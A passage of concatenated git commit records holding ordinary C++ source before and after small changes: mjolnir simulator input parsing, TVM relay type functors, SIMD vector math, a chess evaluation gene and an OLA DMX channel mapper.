read_parallelism<double, CuboidalPeriodicBoundary>(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_parallelism<float , CuboidalPeriodicBoundary>(const toml::value& root, const toml::value& simulator);\n\nextern template std::unique_ptr<SimulatorBase> read_boundary<double>(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_boundary<float >(const toml::value& root, const toml::value& simulator);\n#endif\n\n}\/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_INPUT_FILE\n<commit_msg>feat: output version and compiler to log<commit_after>#ifndef MJOLNIR_INPUT_READ_INPUT_FILE_HPP\n#define MJOLNIR_INPUT_READ_INPUT_FILE_HPP\n#include <extlib\/toml\/toml.hpp>\n#include <mjolnir\/core\/BoundaryCondition.hpp>\n#include <mjolnir\/core\/SimulatorBase.hpp>\n#include <mjolnir\/core\/SimulatorTraits.hpp>\n#include <mjolnir\/core\/Unit.hpp>\n#include <mjolnir\/util\/logger.hpp>\n#include <mjolnir\/input\/utility.hpp>\n#include <mjolnir\/input\/read_units.hpp>\n#include <mjolnir\/input\/read_path.hpp>\n\n#ifdef MJOLNIR_WITH_OPENMP\n#include <mjolnir\/omp\/omp.hpp>\n#endif\n\n#include <memory>\n\nnamespace mjolnir\n{\n\ntemplate<typename realT, template<typename, typename> class boundaryT>\nstd::unique_ptr<SimulatorBase>\nread_parallelism(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n if(simulator.as_table().count(\"parallelism\") == 0)\n {\n MJOLNIR_LOG_NOTICE(\"execute on single core\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n }\n\n const auto parallelism = toml::find(simulator, \"parallelism\");\n if(parallelism.is_string() && parallelism.as_string() == \"sequencial\")\n {\n MJOLNIR_LOG_NOTICE(\"execute on single core\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n }\n else if(parallelism.is_string() &&\n (parallelism.as_string() == \"openmp\" ||\n parallelism.as_string() == \"OpenMP\"))\n {\n#ifdef MJOLNIR_WITH_OPENMP\n MJOLNIR_LOG_NOTICE(\"execute on \", omp_get_max_threads() ,\" cores with openmp\");\n return read_units<OpenMPSimulatorTraits<realT, boundaryT>>(root, simulator);\n#else\n MJOLNIR_LOG_WARN(\"OpenMP flag is set, but OpenMP is not enabled when building.\");\n MJOLNIR_LOG_WARN(\"Cannot use OpenMP, running with single core.\");\n return read_units<SimulatorTraits<realT, boundaryT>>(root, simulator);\n#endif\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_parallelism: invalid variable \",\n toml::find(simulator, \"parallelism\"), \"here\", {\n \"- \\\"sequencial\\\": run with only 1 core (default)\",\n \"- \\\"openmp\\\" : use openmp to parallelize.\"\n }));\n }\n}\n\ntemplate<typename realT>\nstd::unique_ptr<SimulatorBase>\nread_boundary(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n const auto boundary = toml::find<std::string>(simulator, \"boundary_type\");\n if(boundary == \"Unlimited\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is Unlimited\");\n return read_parallelism<realT, UnlimitedBoundary>(root, simulator);\n }\n else if(boundary == \"Periodic\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is Periodic. \"\n \"The shape is cuboid.\");\n return read_parallelism<realT, CuboidalPeriodicBoundary>(root, simulator);\n }\n else if(boundary == \"PeriodicCuboid\")\n {\n MJOLNIR_LOG_NOTICE(\"Boundary Condition is PeriodicCuboid\");\n return read_parallelism<realT, CuboidalPeriodicBoundary>(root, simulator);\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_boundary: invalid boundary\",\n toml::find(simulator, \"boundary_type\"), \"here\", {\n \"- \\\"Unlimited\\\" : no boundary condition. infinite space\",\n \"- \\\"Periodic\\\" : periodic boundary. Assuming cuboidal shape.\",\n \"- \\\"PeriodicCuboid\\\": periodic boundary with cuboidal shape\"\n }));\n }\n}\n\ninline std::unique_ptr<SimulatorBase>\nread_precision(const toml::value& root, const toml::value& simulator)\n{\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n\n const auto prec = toml::find<std::string>(simulator, \"precision\");\n if(prec == \"double\")\n {\n MJOLNIR_LOG_NOTICE(\"precision is double\");\n return read_boundary<double>(root, simulator);\n }\n else if(prec == \"float\")\n {\n MJOLNIR_LOG_NOTICE(\"precision is float\");\n return read_boundary<float>(root, simulator);\n }\n else\n {\n throw_exception<std::runtime_error>(toml::format_error(\"[error] \"\n \"mjolnir::read_precision: invalid precision\",\n toml::find(simulator, \"precition\"), \"here\", {\n \"expected value is one of the following.\",\n \"- \\\"double\\\": 64 bit floating-point\",\n \"- \\\"float\\\" : 32 bit floating-point\"\n }));\n }\n}\n\ninline std::unique_ptr<SimulatorBase>\nread_input_file(const std::string& filename)\n{\n \/\/ here, logger name is not given yet. output status directory on console.\n std::cerr << \"-- reading and parsing toml file `\" << filename << \"` ... \";\n auto root = toml::parse(filename);\n std::cerr << \" successfully parsed.\" << std::endl;\n\n \/\/ initializing logger by using output_path and output_prefix ...\n const auto& output = toml::find(root, \"files\", \"output\");\n const auto out_path = read_output_path(root);\n\n \/\/ XXX: Here, this code assumes POSIX. it does not support windows.\n \/\/ TODO: Consider using Boost.filesystem to manage path and files\n \/\/ in more elegant and powerful way? After switching C++17,\n \/\/ we can re-write that with <filesystem>.\n const auto logger_name = out_path +\n toml::find<std::string>(output, \"prefix\") + \".log\";\n\n MJOLNIR_SET_DEFAULT_LOGGER(logger_name);\n MJOLNIR_GET_DEFAULT_LOGGER();\n MJOLNIR_LOG_FUNCTION();\n MJOLNIR_LOG_NOTICE(\"the log file is `\", logger_name, '`');\n\n MJOLNIR_LOG_NOTICE(\"mjolnir version \", MJOLNIR_VERSION);\n MJOLNIR_LOG_NOTICE(\"compiled using \", MJOLNIR_COMPILER_VERSION);\n\n \/\/ Check top-level toml-values. Since it uses logger to warn,\n \/\/ we need to call it after `MJOLNIR_SET_DEFAULT_LOGGER(logger_name)`.\n check_keys_available(root, {\"files\"_s, \"units\"_s, \"simulator\"_s,\n \"systems\"_s, \"forcefields\"_s});\n\n \/\/ load the input path in the [files] table and set it globally\n read_input_path(root);\n\n MJOLNIR_LOG_NOTICE(\"expanding include files ...\");\n expand_include(root);\n MJOLNIR_LOG_NOTICE(\"done.\");\n\n \/\/ the most of important flags are defined in [simulator], like\n \/\/ `precision = \"float\"`, `boundary_type = \"Unlimited\"`.\n \/\/ Those values should be read before others.\n const auto simulator = read_table_from_file(\n toml::find(root, \"simulator\"), \"simulator\");\n\n return read_precision(root, simulator);\n}\n\n#ifdef MJOLNIR_SEPARATE_BUILD\nextern template std::unique_ptr<SimulatorBase> read_parallelism<double, UnlimitedBoundary >(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_parallelism<float , UnlimitedBoundary >(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_parallelism<double, CuboidalPeriodicBoundary>(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_parallelism<float , CuboidalPeriodicBoundary>(const toml::value& root, const toml::value& simulator);\n\nextern template std::unique_ptr<SimulatorBase> read_boundary<double>(const toml::value& root, const toml::value& simulator);\nextern template std::unique_ptr<SimulatorBase> read_boundary<float >(const toml::value& root, const toml::value& simulator);\n#endif\n\n}\/\/ mjolnir\n#endif\/\/ MJOLNIR_READ_INPUT_FILE\n<|endoftext|>"} {"text":"<commit_before>\/*!\n * Copyright (c) 2018 by Contributors\n * \\file type_functor.cc\n * \\brief Implementations of type functors.\n *\/\n#include \"type_functor.h\"\n\nnamespace tvm {\nnamespace relay {\n\nvoid TypeVisitor::VisitType_(const TypeVarNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const TensorTypeNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const IncompleteTypeNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const FuncTypeNode* op) {\n for (auto type_param : op->type_params) {\n this->VisitType(type_param);\n }\n\n for (auto type_cs : op->type_constraints) {\n this->VisitType(type_cs);\n }\n\n for (auto arg_type : op->arg_types) {\n this->VisitType(arg_type);\n }\n this->VisitType(op->ret_type);\n}\n\nvoid TypeVisitor::VisitType_(const TupleTypeNode* op) {\n for (const Type& t : op->fields) {\n this->VisitType(t);\n }\n}\n\nvoid TypeVisitor::VisitType_(const TypeRelationNode* op) {\n for (const Type& t : op->args) {\n this->VisitType(t);\n }\n}\n\n\n\/\/ Type Mutator.\nArray<Type> TypeMutator::MutateArray(Array<Type> arr) {\n \/\/ The array will do copy on write\n \/\/ If no changes are made, the original array will be returned.\n for (size_t i = 0; i < arr.size(); ++i) {\n Type ty = arr[i];\n Type new_ty = VisitType(ty);\n if (!ty.same_as(new_ty)) {\n arr.Set(i, new_ty);\n }\n }\n return arr;\n}\n\nType TypeMutator::VisitType_(const TypeVarNode* op) {\n return GetRef<TypeVar>(op);\n}\n\nType TypeMutator::VisitType_(const TensorTypeNode* op) {\n \/\/ TODO(tvm-team) recursively visit to replace Var\n return GetRef<Type>(op);\n}\n\nType TypeMutator::VisitType_(const IncompleteTypeNode* op) {\n return GetRef<Type>(op);\n}\n\nType TypeMutator::VisitType_(const FuncTypeNode* op) {\n bool changed = false;\n Array<TypeVar> type_params;\n for (auto type_param : op->type_params) {\n auto new_type_param = VisitType(type_param);\n changed = changed || !new_type_param.same_as(type_param);\n if (const TypeVarNode* tin = new_type_param.as<TypeVarNode>()) {\n type_params.push_back(GetRef<TypeVar>(tin));\n } else {\n LOG(FATAL) << new_type_param << std::endl;\n }\n }\n\n Array<TypeConstraint> type_constraints;\n for (auto type_cs : op->type_constraints) {\n auto new_type_cs = VisitType(type_cs);\n changed = changed || !new_type_cs.same_as(type_cs);\n if (const TypeConstraintNode* tin =\n new_type_cs.as_derived<TypeConstraintNode>()) {\n type_constraints.push_back(GetRef<TypeConstraint>(tin));\n } else {\n LOG(FATAL) << new_type_cs << std::endl;\n }\n }\n\n Array<Type> new_args = MutateArray(op->arg_types);\n changed = changed || new_args.same_as(op->arg_types);\n\n Type new_ret_type = VisitType(op->ret_type);\n changed = changed || new_ret_type.same_as(op->ret_type);\n\n if (!changed) return GetRef<Type>(op);\n return FuncTypeNode::make(new_args,\n new_ret_type,\n type_params,\n type_constraints);\n}\n\nType TypeMutator::VisitType_(const TupleTypeNode* op) {\n Array<Type> new_fields = MutateArray(op->fields);\n if (new_fields.same_as(op->fields)) {\n return GetRef<Type>(op);\n } else {\n return TupleTypeNode::make(new_fields);\n }\n}\n\nType TypeMutator::VisitType_(const TypeRelationNode* type_rel) {\n Array<Type> new_args = MutateArray(type_rel->args);\n if (new_args.same_as(type_rel->args)) {\n return GetRef<Type>(type_rel);\n } else {\n return TypeRelationNode::make(type_rel->func,\n new_args,\n type_rel->num_inputs,\n type_rel->attrs);\n }\n}\n\n\/\/ Implements bind.\nclass TypeBinder : public TypeMutator {\n public:\n explicit TypeBinder(const tvm::Map<TypeVar, Type>& args_map)\n : args_map_(args_map) {}\n\n Type VisitType_(const TypeVarNode* op) override {\n auto id = GetRef<TypeVar>(op);\n auto it = args_map_.find(id);\n if (it != args_map_.end()) {\n return (*it).second;\n } else {\n return id;\n }\n }\n\n private:\n const tvm::Map<TypeVar, Type>& args_map_;\n};\n\nType Bind(const Type& type, const tvm::Map<TypeVar, Type>& args_map) {\n return TypeBinder(args_map).VisitType(type);\n}\n\n} \/\/ namespace relay\n} \/\/ namespace tvm\n<commit_msg>[RELAY] bugfix type functor caching (#2113)<commit_after>\/*!\n * Copyright (c) 2018 by Contributors\n * \\file type_functor.cc\n * \\brief Implementations of type functors.\n *\/\n#include \"type_functor.h\"\n\nnamespace tvm {\nnamespace relay {\n\nvoid TypeVisitor::VisitType_(const TypeVarNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const TensorTypeNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const IncompleteTypeNode* op) {\n}\n\nvoid TypeVisitor::VisitType_(const FuncTypeNode* op) {\n for (auto type_param : op->type_params) {\n this->VisitType(type_param);\n }\n\n for (auto type_cs : op->type_constraints) {\n this->VisitType(type_cs);\n }\n\n for (auto arg_type : op->arg_types) {\n this->VisitType(arg_type);\n }\n this->VisitType(op->ret_type);\n}\n\nvoid TypeVisitor::VisitType_(const TupleTypeNode* op) {\n for (const Type& t : op->fields) {\n this->VisitType(t);\n }\n}\n\nvoid TypeVisitor::VisitType_(const TypeRelationNode* op) {\n for (const Type& t : op->args) {\n this->VisitType(t);\n }\n}\n\n\n\/\/ Type Mutator.\nArray<Type> TypeMutator::MutateArray(Array<Type> arr) {\n \/\/ The array will do copy on write\n \/\/ If no changes are made, the original array will be returned.\n for (size_t i = 0; i < arr.size(); ++i) {\n Type ty = arr[i];\n Type new_ty = VisitType(ty);\n if (!ty.same_as(new_ty)) {\n arr.Set(i, new_ty);\n }\n }\n return arr;\n}\n\nType TypeMutator::VisitType_(const TypeVarNode* op) {\n return GetRef<TypeVar>(op);\n}\n\nType TypeMutator::VisitType_(const TensorTypeNode* op) {\n \/\/ TODO(tvm-team) recursively visit to replace Var\n return GetRef<Type>(op);\n}\n\nType TypeMutator::VisitType_(const IncompleteTypeNode* op) {\n return GetRef<Type>(op);\n}\n\nType TypeMutator::VisitType_(const FuncTypeNode* op) {\n bool changed = false;\n Array<TypeVar> type_params;\n for (auto type_param : op->type_params) {\n auto new_type_param = VisitType(type_param);\n changed = changed || !new_type_param.same_as(type_param);\n if (const TypeVarNode* tin = new_type_param.as<TypeVarNode>()) {\n type_params.push_back(GetRef<TypeVar>(tin));\n } else {\n LOG(FATAL) << new_type_param << std::endl;\n }\n }\n\n Array<TypeConstraint> type_constraints;\n for (auto type_cs : op->type_constraints) {\n auto new_type_cs = VisitType(type_cs);\n changed = changed || !new_type_cs.same_as(type_cs);\n if (const TypeConstraintNode* tin =\n new_type_cs.as_derived<TypeConstraintNode>()) {\n type_constraints.push_back(GetRef<TypeConstraint>(tin));\n } else {\n LOG(FATAL) << new_type_cs << std::endl;\n }\n }\n\n Array<Type> new_args = MutateArray(op->arg_types);\n changed = changed || !new_args.same_as(op->arg_types);\n\n Type new_ret_type = VisitType(op->ret_type);\n changed = changed || !new_ret_type.same_as(op->ret_type);\n\n if (!changed) return GetRef<Type>(op);\n return FuncTypeNode::make(new_args,\n new_ret_type,\n type_params,\n type_constraints);\n}\n\nType TypeMutator::VisitType_(const TupleTypeNode* op) {\n Array<Type> new_fields = MutateArray(op->fields);\n if (new_fields.same_as(op->fields)) {\n return GetRef<Type>(op);\n } else {\n return TupleTypeNode::make(new_fields);\n }\n}\n\nType TypeMutator::VisitType_(const TypeRelationNode* type_rel) {\n Array<Type> new_args = MutateArray(type_rel->args);\n if (new_args.same_as(type_rel->args)) {\n return GetRef<Type>(type_rel);\n } else {\n return TypeRelationNode::make(type_rel->func,\n new_args,\n type_rel->num_inputs,\n type_rel->attrs);\n }\n}\n\n\/\/ Implements bind.\nclass TypeBinder : public TypeMutator {\n public:\n explicit TypeBinder(const tvm::Map<TypeVar, Type>& args_map)\n : args_map_(args_map) {}\n\n Type VisitType_(const TypeVarNode* op) override {\n auto id = GetRef<TypeVar>(op);\n auto it = args_map_.find(id);\n if (it != args_map_.end()) {\n return (*it).second;\n } else {\n return id;\n }\n }\n\n private:\n const tvm::Map<TypeVar, Type>& args_map_;\n};\n\nType Bind(const Type& type, const tvm::Map<TypeVar, Type>& args_map) {\n return TypeBinder(args_map).VisitType(type);\n}\n\n} \/\/ namespace relay\n} \/\/ namespace tvm\n<|endoftext|>"} {"text":"<commit_before>#include \"vec2.h\"\r\n\r\nnamespace fd {\r\nnamespace core {\r\nnamespace math {\r\n\r\nvec2i::vec2i() : x(0), y(0) {}\r\n\r\nvec2i::vec2i(int32 x, int32 y) : x(x), y(y) {}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Add(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v.y, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_add_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[1];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Sub(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v.y, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_sub_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[1];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Mul(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, v.y, 0, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, y, 0, x);\r\n\txmm = _mm_mul_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[2];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Div(const vec2i& v) {\r\n\tx \/= v.x;\r\n\ty \/= v.y;\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Add(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v, v);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_add_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[1];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Sub(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v, v);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_sub_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[1];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Mul(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, v, 0, v);\r\n\t__m128i xmm = _mm_set_epi32(0, y, 0, x);\r\n\txmm = _mm_mul_epi32(xmm, vxmm);\r\n\r\n\tx = xmm.m128i_i32[0];\r\n\ty = xmm.m128i_i32[2];\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Div(int32 v) {\r\n\tx \/= v;\r\n\ty \/= v;\r\n\r\n\treturn *this;\r\n}\r\n\r\n\r\n}\r\n}\r\n}<commit_msg>LNX: vec2i<commit_after>#include \"vec2.h\"\r\n\r\nnamespace fd {\r\nnamespace core {\r\nnamespace math {\r\n\r\nvec2i::vec2i() : x(0), y(0) {}\r\n\r\nvec2i::vec2i(int32 x, int32 y) : x(x), y(y) {}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Add(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v.y, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_add_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Sub(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v.y, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_sub_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Mul(const vec2i& v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, v.y, 0, v.x);\r\n\t__m128i xmm = _mm_set_epi32(0, y, 0, x);\r\n\txmm = _mm_mul_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Div(const vec2i& v) {\r\n\tx \/= v.x;\r\n\ty \/= v.y;\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Add(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v, v);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_add_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Sub(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, 0, v, v);\r\n\t__m128i xmm = _mm_set_epi32(0, 0, y, x);\r\n\txmm = _mm_sub_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Mul(int32 v) {\r\n\t__m128i vxmm = _mm_set_epi32(0, v, 0, v);\r\n\t__m128i xmm = _mm_set_epi32(0, y, 0, x);\r\n\txmm = _mm_mul_epi32(xmm, vxmm);\r\n\r\n\tx = M128I(xmm, 0);\r\n\ty = M128I(xmm, 1);\r\n\r\n\treturn *this;\r\n}\r\n\r\n\/\/int32\r\nvec2i& vec2i::Div(int32 v) {\r\n\tx \/= v;\r\n\ty \/= v;\r\n\r\n\treturn *this;\r\n}\r\n\r\n\r\n}\r\n}\r\n}<|endoftext|>"} {"text":"<commit_before>#include \"Genes\/Freedom_To_Move_Gene.h\"\n\n#include <memory>\n#include <string>\n#include <array>\n#include <bitset>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Color.h\"\n#include \"Game\/Piece.h\"\n\ndouble Freedom_To_Move_Gene::score_board(const Board& board, Color perspective, size_t) const\n{\n static auto initial_score = double(attack_count(Board(), WHITE));\n\n return attack_count(board, perspective)\/initial_score;\n}\n\nstd::unique_ptr<Gene> Freedom_To_Move_Gene::duplicate() const\n{\n return std::make_unique<Freedom_To_Move_Gene>(*this);\n}\n\nstd::string Freedom_To_Move_Gene::name() const\n{\n return \"Freedom to Move Gene\";\n}\n\nsize_t Freedom_To_Move_Gene::attack_count(const Board& board, Color perspective) const\n{\n size_t count = 0;\n for(char file = 'a'; file <= 'h'; ++file)\n {\n for(int rank = 1; rank <= 8; ++rank)\n {\n auto piece = board.piece_on_square(file, rank);\n if( ! piece || piece->color() != perspective)\n {\n count += board.moves_attacking_square(file, rank, perspective).count();\n }\n }\n }\n\n return count;\n}\n<commit_msg>Speedup to Freedom to Move Gene<commit_after>#include \"Genes\/Freedom_To_Move_Gene.h\"\n\n#include <memory>\n#include <string>\n#include <array>\n#include <bitset>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Board.h\"\n#include \"Game\/Color.h\"\n#include \"Game\/Piece.h\"\n\ndouble Freedom_To_Move_Gene::score_board(const Board& board, Color perspective, size_t) const\n{\n static auto initial_score = double(attack_count(Board(), WHITE));\n\n return attack_count(board, perspective)\/initial_score;\n}\n\nstd::unique_ptr<Gene> Freedom_To_Move_Gene::duplicate() const\n{\n return std::make_unique<Freedom_To_Move_Gene>(*this);\n}\n\nstd::string Freedom_To_Move_Gene::name() const\n{\n return \"Freedom to Move Gene\";\n}\n\nsize_t Freedom_To_Move_Gene::attack_count(const Board& board, Color perspective) const\n{\n size_t count = 0;\n for(char file = 'a'; file <= 'h'; ++file)\n {\n for(int rank = 1; rank <= 8; ++rank)\n {\n if(board.moves_attacking_square(file, rank, perspective).any())\n {\n auto piece = board.piece_on_square(file, rank);\n if( ! piece || piece->color() != perspective)\n {\n count += board.moves_attacking_square(file, rank, perspective).count();\n }\n }\n }\n }\n\n return count;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2016 Stefan Krüger\n\/\/ released under MIT (see LICENSE for details)\n\n\/\/ based on example from\n\/\/ http:\/\/docs.openlighting.org\/ola\/doc\/latest\/dmx_cpp_client_tutorial.html\n\n\/\/ build for local:\n\/\/ g++ -std=c++11 olamapper.cpp -o olamapper.out $(pkg-config --cflags --libs libola)\n\n\n\n#include <ola\/DmxBuffer.h>\n#include <ola\/Logging.h>\n#include <ola\/client\/ClientWrapper.h>\n#include <ola\/io\/SelectServer.h>\n\n#include <unistd.h>\n#include <string>\n#include <iostream>\n#include <fstream>\n\nuint16_t universe_in = 1;\nuint16_t universe_in_start_address = 1;\nuint16_t universe_out = 2;\nuint16_t universe_channel_count = 240;\nuint16_t universe_rescale_max = 60000;\nstatic const uint16_t channel_count_MAX = 512;\n\nola::client::OlaClientWrapper wrapper(false);\nola::client::OlaClient *client;\nola::DmxBuffer channels_out;\n\nint my_map[channel_count_MAX];\n\n\nenum ola_state_t {\n state_undefined,\n state_standby,\n state_waiting,\n state_connected,\n state_running,\n};\n\nola_state_t system_state = state_undefined;\n\nbool flag_run = true;\n\n\/\/~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/\/ configuration things\n\nvoid parse_config_channels(std::string raw_channels) {\n \/\/ get part between []\n size_t start = raw_channels.find('[');\n size_t end = raw_channels.find(']');\n raw_channels = raw_channels.substr(start+1, (end-1)-start);\n \/\/ std::cout << \"raw_channels: '\" << raw_channels << \"'\" << std::endl;\n \/\/ split at every ', '\n start = 0;\n end = 0;\n size_t map_index = 0;\n while ( (end = raw_channels.find(\", \", start)) != std::string::npos ) {\n std::string element = raw_channels.substr(start, end - start);\n start = end + 1;\n \/\/ std::cout << element << std::endl;\n \/\/ now we can convert the element string to a int\n int value;\n value = std::stoi(element);\n my_map[map_index] = value;\n map_index += 1;\n \/\/ std::cout << value << std::endl;\n }\n \/\/ handle last element\n std::string element = raw_channels.substr(start);\n int value;\n value = std::stoi(element);\n my_map[map_index] = value;\n map_index += 1;\n \/\/ std::cout << value << std::endl;\n \/\/ std::cout << map_index << std::endl;\n \/\/ std::cout << my_map << std::endl;\n}\n\nvoid parse_config_map(std::string raw_input) {\n \/\/ find \"map\": { \"channels\": [....]}\n size_t start = std::string::npos;\n start = raw_input.find(\"\\\"map\\\"\");\n \/\/ std::cout << \"map start: '\" << start << \"'\" << std::endl;\n if (start != std::string::npos) {\n \/\/ std::cout << \"map found.\" << std::endl;\n size_t start_channels = raw_input.find(\"\\\"channels\\\"\", start);\n \/\/ std::cout << \"channels start: '\" << start_channels << \"'\" << std::endl;\n if (start_channels != std::string::npos) {\n \/\/ std::cout << \"channels found.\" << std::endl;\n size_t end = raw_input.find('}', start_channels);\n if (end != std::string::npos) {\n \/\/ std::cout << \"channels end found.\" << std::endl;\n std::string channels_list = raw_input.substr(start+1, (end-1)-start);\n \/\/ std::cout << \"channels_list: '\" << channels_list << \"'\" << std::endl;\n parse_config_channels(channels_list);\n } else {\n std::cout\n << \"Error in Config Format: 'channels' section end not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: 'channels' section not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: 'map' section not found.\"\n << std::endl;\n }\n}\n\nint parse_value(std::string raw_input, std::string key_name) {\n size_t start = std::string::npos;\n size_t end = std::string::npos;\n std::string value_raw;\n int value = -1;\n\n start = raw_input.find(\"\\\"\" + key_name + \"\\\"\");\n \/\/ std::cout << \"start: '\" << start << \"'\" << std::endl;\n if (start != std::string::npos) {\n end = raw_input.find_first_of(\",}\", start);\n if (end != std::string::npos) {\n \/\/ start + \" + key_name + \" + :\n size_t value_content_start = start + 1 + key_name.length() + 1 + 1;\n value_raw = raw_input.substr(\n value_content_start,\n (end)-value_content_start);\n \/\/ std::cout << \"value_raw: '\" << value_raw << \"'\" << std::endl;\n \/\/ now we can convert the element string to a int\n value = std::stoi(value_raw);\n } else {\n std::cout\n << \"Error in Config Format: '\"\n << key_name\n << \"' value end not found.\"\n << std::endl;\n }\n } else {\n std::cout\n << \"Error in Config Format: '\"\n << key_name\n << \"' value not found.\"\n << std::endl;\n }\n\n return value;\n}\n\nvoid parse_config_universe(std::string raw_input) {\n \/\/ find \"universe\": { }\n \/\/ std::cout << \"raw_input: '\" << raw_input << \"'\" << std::endl;\n std::string key_name = \"universe\";\n size_t start_section = raw_input.find(\"\\\"\"+key_name+\"\\\"\");\n \/\/ std::cout << \"start_section: '\" << start_section << \"'\" << std::endl;\n if (start_section != std::string::npos) {\n size_t section_content_start = start_section + 1 + key_name.length();\n std::string section_content = raw_input.substr(\n section_content_start);\n \/\/ find 'start_address'\n uint16_t u_start_address = parse_value(section_content, \"start_address\");\n \/\/ find 'channel_count'\n uint16_t u_channel_count = parse_value(section_content, \"channel_count\");\n \/\/ find 'input'\n uint16_t u_input = parse_value(section_content, \"input\");\n \/\/ find 'output'\n uint16_t u_output = parse_value(section_content, \"output\");\n \/\/ find 'rescale_max'\n uint16_t u_rescale_max = parse_value(section_content, \"rescale_max\");\n \/\/ done\n std::cout << \"start_address: \" << u_start_address << std::endl;\n std::cout << \"input: \" << u_input << std::endl;\n std::cout << \"output: \" << u_output << std::endl;\n std::cout << \"channel_count: \" << u_channel_count << std::endl;\n std::cout << \"rescale_max: \" << u_rescale_max << std::endl;\n universe_in_start_address = u_start_address;\n universe_in = u_input;\n universe_out = 